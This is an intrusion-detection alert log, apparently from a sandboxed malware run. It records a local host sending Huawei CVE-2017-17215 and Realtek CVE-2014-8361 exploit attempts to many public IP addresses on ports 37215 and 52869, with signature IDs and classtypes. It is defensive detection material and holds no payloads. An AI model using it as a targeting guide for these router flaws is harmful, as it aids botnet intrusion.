Timestamp:	07/20/24-23:01:14.472855
SID:	2835222
Source Port:	60756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.17.130.242

Timestamp:	07/20/24-23:01:28.196415
SID:	2835222
Source Port:	49754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 130.190.186.142

Timestamp:	07/20/24-23:01:07.204640
SID:	2025132
Source Port:	42512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.23.60

Timestamp:	07/20/24-23:01:02.408595
SID:	2835222
Source Port:	38436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 114.78.57.39

Timestamp:	07/20/24-23:01:34.913413
SID:	2027339
Source Port:	48560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 146.102.177.163

Timestamp:	07/20/24-23:01:34.900554
SID:	2027339
Source Port:	49312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 95.92.231.183

Timestamp:	07/20/24-23:01:11.485692
SID:	2829579
Source Port:	50006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 115.118.201.201

Timestamp:	07/20/24-23:01:06.232901
SID:	2027339
Source Port:	56876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.172.22

Timestamp:	07/20/24-23:01:02.407178
SID:	2829579
Source Port:	35292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.169.209.192

Timestamp:	07/20/24-23:01:25.230443
SID:	2835222
Source Port:	46506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.181.191.35

Timestamp:	07/20/24-23:01:07.664911
SID:	2829579
Source Port:	60594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.94.225.129

Timestamp:	07/20/24-23:01:25.283565
SID:	2829579
Source Port:	39036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 59.201.11.124

Timestamp:	07/20/24-23:01:33.395838
SID:	2025132
Source Port:	58564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 198.253.51.117

Timestamp:	07/20/24-23:01:34.920034
SID:	2027339
Source Port:	44438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 73.226.113.9

Timestamp:	07/20/24-23:01:07.676921
SID:	2835222
Source Port:	59370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 49.119.133.182

Timestamp:	07/20/24-23:01:07.658956
SID:	2829579
Source Port:	46382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.57.98.16

Timestamp:	07/20/24-23:01:11.478031
SID:	2829579
Source Port:	38848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.207.26.87

Timestamp:	07/20/24-23:01:22.776061
SID:	2835222
Source Port:	40228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 198.112.106.164

Timestamp:	07/20/24-23:01:13.329247
SID:	2831300
Source Port:	37792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 210.127.30.24

Timestamp:	07/20/24-23:01:34.923386
SID:	2831300
Source Port:	51740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.151.131

Timestamp:	07/20/24-23:01:05.920730
SID:	2829579
Source Port:	47026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 103.11.232.170

Timestamp:	07/20/24-23:01:19.221345
SID:	2835222
Source Port:	37768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 210.189.81.4

Timestamp:	07/20/24-23:01:34.899868
SID:	2027339
Source Port:	43370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.123.112.202

Timestamp:	07/20/24-23:01:11.485692
SID:	2835222
Source Port:	53166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.7.129.75

Timestamp:	07/20/24-23:01:07.676921
SID:	2835222
Source Port:	60620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.178.40

Timestamp:	07/20/24-23:01:19.220637
SID:	2835222
Source Port:	50898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.218.48

Timestamp:	07/20/24-23:01:22.772933
SID:	2835222
Source Port:	34052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 115.41.130.186

Timestamp:	07/20/24-23:01:28.143148
SID:	2829579
Source Port:	39034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 69.185.156.127

Timestamp:	07/20/24-23:01:31.120003
SID:	2025132
Source Port:	34428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 86.27.131.229

Timestamp:	07/20/24-23:01:29.739552
SID:	2027339
Source Port:	58424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.7.26.252

Timestamp:	07/20/24-23:01:11.459583
SID:	2835222
Source Port:	60258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 60.68.1.166

Timestamp:	07/20/24-23:01:13.333101
SID:	2831300
Source Port:	37970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 1.52.127.148

Timestamp:	07/20/24-23:01:29.204277
SID:	2027339
Source Port:	54636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 108.207.129.253

Timestamp:	07/20/24-23:01:06.276912
SID:	2027339
Source Port:	50982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 211.77.142.174

Timestamp:	07/20/24-23:01:29.176022
SID:	2027339
Source Port:	46372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.57.170.74

Timestamp:	07/20/24-23:01:33.081950
SID:	2835222
Source Port:	47284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 217.168.109.210

Timestamp:	07/20/24-23:01:29.171040
SID:	2831300
Source Port:	54356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 151.164.163.60

Timestamp:	07/20/24-23:01:19.233961
SID:	2829579
Source Port:	49154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.250.52.44

Timestamp:	07/20/24-23:01:37.120506
SID:	2835222
Source Port:	55836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 40.156.155.77

Timestamp:	07/20/24-23:01:06.868931
SID:	2025132
Source Port:	35782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 2.115.51.25

Timestamp:	07/20/24-23:01:13.332448
SID:	2831300
Source Port:	42074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 66.134.165.127

Timestamp:	07/20/24-23:01:07.456843
SID:	2025132
Source Port:	36622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.146.179.63

Timestamp:	07/20/24-23:01:14.400300
SID:	2829579
Source Port:	60388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 174.134.90.178

Timestamp:	07/20/24-23:01:25.192001
SID:	2025132
Source Port:	54532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.248.66.233

Timestamp:	07/20/24-23:01:22.787765
SID:	2835222
Source Port:	55252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.26.114.57

Timestamp:	07/20/24-23:01:33.068258
SID:	2829579
Source Port:	60878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 100.211.0.135

Timestamp:	07/20/24-23:01:29.721643
SID:	2027339
Source Port:	49942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 125.9.219.100

Timestamp:	07/20/24-23:01:29.514831
SID:	2025132
Source Port:	58376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.223.82

Timestamp:	07/20/24-23:01:19.334799
SID:	2829579
Source Port:	36974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 218.209.252.220

Timestamp:	07/20/24-23:01:11.448569
SID:	2835222
Source Port:	32960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 220.158.230.42

Timestamp:	07/20/24-23:01:05.764414
SID:	2027339
Source Port:	60450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 77.70.6.175

Timestamp:	07/20/24-23:01:30.624909
SID:	2027339
Source Port:	46938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 178.99.199.57

Timestamp:	07/20/24-23:01:33.040755
SID:	2835222
Source Port:	40772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.20.1.26

Timestamp:	07/20/24-23:01:07.682291
SID:	2835222
Source Port:	55420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.193.210.73

Timestamp:	07/20/24-23:01:19.235468
SID:	2835222
Source Port:	47534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.251.148.75

Timestamp:	07/20/24-23:01:22.796666
SID:	2829579
Source Port:	55228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.88.136.75

Timestamp:	07/20/24-23:01:32.971164
SID:	2027339
Source Port:	47288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 59.161.187.149

Timestamp:	07/20/24-23:01:23.042223
SID:	2025132
Source Port:	38476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 94.172.116.232

Timestamp:	07/20/24-23:01:34.945021
SID:	2027339
Source Port:	45642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 31.235.249.101

Timestamp:	07/20/24-23:01:05.450414
SID:	2025132
Source Port:	60168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 99.174.108.83

Timestamp:	07/20/24-23:01:34.566000
SID:	2025132
Source Port:	33046
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.184.106.243

Timestamp:	07/20/24-23:01:37.222600
SID:	2829579
Source Port:	44702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 172.76.44.174

Timestamp:	07/20/24-23:01:13.332043
SID:	2831300
Source Port:	47612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.112.21.71

Timestamp:	07/20/24-23:01:07.658956
SID:	2829579
Source Port:	57058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.245.85.153

Timestamp:	07/20/24-23:01:14.401421
SID:	2835222
Source Port:	53922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.63.192.72

Timestamp:	07/20/24-23:01:28.214699
SID:	2835222
Source Port:	50600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 84.149.17.30

Timestamp:	07/20/24-23:01:34.899753
SID:	2027339
Source Port:	41492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.245.110.189

Timestamp:	07/20/24-23:01:07.679354
SID:	2829579
Source Port:	45094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 223.125.41.63

Timestamp:	07/20/24-23:01:30.742438
SID:	2025132
Source Port:	34028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.28.215.84

Timestamp:	07/20/24-23:01:28.170987
SID:	2835222
Source Port:	58226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 76.246.195.163

Timestamp:	07/20/24-23:01:34.915141
SID:	2831300
Source Port:	35286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 191.59.144.253

Timestamp:	07/20/24-23:01:24.075435
SID:	2831300
Source Port:	58444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.117.25.210

Timestamp:	07/20/24-23:01:25.281209
SID:	2835222
Source Port:	56544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 144.118.94.52

Timestamp:	07/20/24-23:01:37.167957
SID:	2835222
Source Port:	33178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.222.29.177

Timestamp:	07/20/24-23:01:28.142676
SID:	2835222
Source Port:	41852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 111.86.157.53

Timestamp:	07/20/24-23:01:13.332449
SID:	2027339
Source Port:	37262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.212.84.221

Timestamp:	07/20/24-23:01:25.291116
SID:	2835222
Source Port:	45412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.14.51.31

Timestamp:	07/20/24-23:01:19.335313
SID:	2835222
Source Port:	60132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.165.51

Timestamp:	07/20/24-23:01:19.224550
SID:	2835222
Source Port:	45096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.37.64.90

Timestamp:	07/20/24-23:01:05.898214
SID:	2835222
Source Port:	49794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.39.61.29

Timestamp:	07/20/24-23:01:33.081951
SID:	2829579
Source Port:	58390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.141.84.47

Timestamp:	07/20/24-23:01:34.995513
SID:	2027339
Source Port:	38130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.101.205.245

Timestamp:	07/20/24-23:01:28.175716
SID:	2835222
Source Port:	54570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.33.91

Timestamp:	07/20/24-23:01:07.680463
SID:	2829579
Source Port:	50124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.212.254.246

Timestamp:	07/20/24-23:01:33.081950
SID:	2835222
Source Port:	35500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 45.152.27.139

Timestamp:	07/20/24-23:01:33.916849
SID:	2025132
Source Port:	59724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 134.76.14.241

Timestamp:	07/20/24-23:01:13.330357
SID:	2027339
Source Port:	48528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 120.128.124.111

Timestamp:	07/20/24-23:01:33.856930
SID:	2025132
Source Port:	36458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 91.209.91.142

Timestamp:	07/20/24-23:01:13.329563
SID:	2831300
Source Port:	33366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 14.177.37.112

Timestamp:	07/20/24-23:01:29.170040
SID:	2027339
Source Port:	36208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.85.49.34

Timestamp:	07/20/24-23:01:33.050087
SID:	2829579
Source Port:	35104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 118.204.104.96

Timestamp:	07/20/24-23:01:24.825430
SID:	2025132
Source Port:	59154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 104.41.121.72

Timestamp:	07/20/24-23:01:34.922465
SID:	2831300
Source Port:	33618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.28.196.52

Timestamp:	07/20/24-23:01:05.906603
SID:	2835222
Source Port:	43612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 98.212.47.174

Timestamp:	07/20/24-23:01:06.882553
SID:	2027339
Source Port:	47060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.71.249.32

Timestamp:	07/20/24-23:01:07.672294
SID:	2835222
Source Port:	38016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.104.19.192

Timestamp:	07/20/24-23:01:33.060990
SID:	2835222
Source Port:	54422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 199.206.179.25

Timestamp:	07/20/24-23:01:34.918354
SID:	2027339
Source Port:	46300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.134.152.208

Timestamp:	07/20/24-23:01:28.143994
SID:	2829579
Source Port:	42482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 80.101.241.103

Timestamp:	07/20/24-23:01:37.214680
SID:	2829579
Source Port:	53426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.119.1.224

Timestamp:	07/20/24-23:01:37.124220
SID:	2835222
Source Port:	52088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

